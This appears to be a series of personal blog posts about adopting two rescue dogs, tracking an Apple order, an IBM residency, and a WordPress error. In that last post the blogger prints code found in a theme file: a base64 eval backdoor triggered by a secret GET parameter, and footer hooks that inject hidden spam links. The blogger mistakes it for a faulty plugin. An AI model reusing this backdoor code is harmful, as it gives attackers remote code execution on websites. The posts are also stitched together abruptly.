Anybody following me on Twitter or Facebook will know that over the last few months we’ve had some pretty significant changes in the Spender household. Here’s the full story.

We both grew up in and around families with dogs and have often talked about the time when we will be able to get some of our own. With us both working full time and living in a flat we never thought it practical or frankly fair. Then one day Lana came home from work…

It’s a long story for another time, but in short, we found ourselves with a dog which had been effectively surrendered into Lana’s care. The dog in question was a less then year old Jack Russell Terrier cross (with what we don’t know but we suspect some Corgi in there which would make her a Cojack!) We did the usual things you do with a stray/lost dog including a trip to the vets to check for a chip, posters, informing the Gardai and so on. After a week or so of convincing ourselves we could not possibly keep her we arranged for an animal rescue in Co. Wicklow to take her. On the day we took her down but couldn’t come to let her go. So it was that Lucy became part of the family!

This meant a number of adjustments to our lifestyle. Firstly we moved to a house with a garden. Luckily our lease was up shortly anyway and due to the market our new 3 bed house was significantly less rent than the flat! In addition, Lana quit her job and has subsequently found a better, part time position in nursing which offers us much more flexibility around being making sure that one or both of us are around for most of the time. It also meant I finally had the excuse to give up my 11 year old Mondeo for a nice nearly new Avensis estate.

The summer with Lucy was fantastic. She really became an integral part of the family and has charmed everybody who has met her. She has had her fair share of visits to the vet for allergies and the odd infection. Perhaps that may be why somebody decided they couldn’t cope with her because you would have to be mad to give up such a dog otherwise.

The plan once we were in a position to get dogs was to always get two so recently we began the search for a companion. The plan was to get a similar size and breed, but a male (of course we’ve had Lucy spayed) The plan was also to get a rescue dog. After much looking around, we found Jack:

Once again, he has settled in brilliantly and is getting along great with us all. Naturally there has been some jostling for position between him and Lucy (she is winning) and the occasional argument over food or toys but overall everything has been really good. it is great to see them literally bounce off each other and provide endless hours of amusement for both them and us!

We recently took advantage of the Apple Black Friday sales to order a new 13″ Macbook for Lana. Of course, this had me revisit that post and start tracking the status of the deliver. In this case it was a straightforward standard configuration with nothing else added onto the order, so it was processed as a Fast Ship (EMEA) order.

The Apple order status page and tracking links showed that UPS were the carrier. It took at least a day for their tracking system to show any details however. Checking back every now and then was annoying.

That led me to discover the awesome Delivery Status dashboard widget, and also the equally awesome Delivery Status Touch for the iPhone and iPod Touch, from JuneCloud. Both allow you to insert your order numbers/tracking numbers for a large variety of online shops and couriers including Apple, Amazon, UPS, TNT, Fedex, DHL and more. They will then show you the order/tracking status in a lovely UI. The dashboard widget also has Growl integration which is great as you don’t need to keep going into Dashboard to see if things have changed.

The iPhone/Touch app is available from the App Store and provides the same basic functionality, but also allows you to see the actual provider order/tracking page as well as showing you locations on a map. It can sync with the dashboard widget as well so you only need to enter the order or tracking numbers once.

This was declared at the top of he file:

if($_GET['0cc9b18defb8385c']=="1a84882ba2eb254c"){ eval(base64_decode($_POST['file'])); exit; }

Then there was this add_action function:

add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
@include('./wp-includes/class-mail.php');
if(sizeof($wparr)>0){
shuffle($wparr);
echo "!div id=\"goro\"!";
foreach($wparr as $k=>$v){
echo "".ucwords($v['key'])."\n";
if($i++==$inum) break;
}
echo "!/div!".$_footer;
}
}

And this at the bottom:

add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
@include('./wp-includes/class-mail.php');
if(sizeof($wparr)>0){
echo "!div id=\"goro\"!";
foreach($wparr as $k=>$v){
echo "".ucwords($v['key'])."\n";
if($i++==$inum) break;
}
echo "!/div!".$_footer;
}
}

(N.B. !div! is an HTML DIV tag but this causes problems if I embed it in the post)

Which is obviouly trying to declare the same function ‘wpc7c16b8466d864eeefd20050625c7775′ twice (which the error message identified) I have no idea what was inserting this code, so I’ve left it all out for the time being. I suspect it may be a badly behaving plugin, so apologies if some aspect of the blog doesn’t work correctly. If anybody has any ideas I’d love to hear them.

Residencies are open to IBM and non-IBM employees and are a great way to increase your knowledge of these products, and to get your name in print! This residency is being run in Raleigh, North Carolina for four weeks starting on 23rd October. It is being led by a friend of mine, Martin Keen. More details and the application form are can be found on the IBM Redbooks site.